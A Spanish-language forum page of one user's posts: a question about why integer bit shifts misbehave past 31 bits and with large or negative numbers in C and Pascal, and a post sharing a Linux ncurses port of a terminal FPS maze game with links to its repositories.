Si lo pruebo con ambos números enteros pequeños 4 y 7 el código funciona perfectamente, ahora el problema es cuando pongo un número entero gigante o negativo el código no funciona:



Dije quizás sea un error de GCC voy a probar otro compilador diferente y de diferente lenguaje como Pascal:

(No puedo subir el código en Pascal porque el foro no lo permite)

(Solución temporal o hasta que alguien lo verifique lo subo en imagenes)




Lo cuál ocurre lo mismo:



Pero lo que me inquietó es que pasado los 31 bits de desplazamiento no parece realizar operaciones al menos de manera correcta:



Mi duda es hay alguna manera de llegar a desplazar más bits correctamente, o yo tengo algún error y no me dí cuenta todavía del error o ¿También es una limitación de los procesadores esto?


B#
10  Programación / Programación C/C++ / [Aporte] Mini juego laberinto estilo FPS en terminal de Linux en: 12 Febrero 2021, 06:41 am
Buenas gente del foro, les quería aportar un mini juego laberinto fps que porté a Linux utilizando la librería ncurses además agregando algunos colores:




El código para Linux puede verse acá:
https://github.com/Agustin-dos-Santos/CommandLineFPS

Pero si lo quieren el código original para Windows (Visual Studio) les dejo el repositorio original y el video de como fue hecho originalmente:
https://www.youtube.com/watch?v=xW8skO7MFYw
https://github.com/OneLoneCoder/CommandLineFPS


B#
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines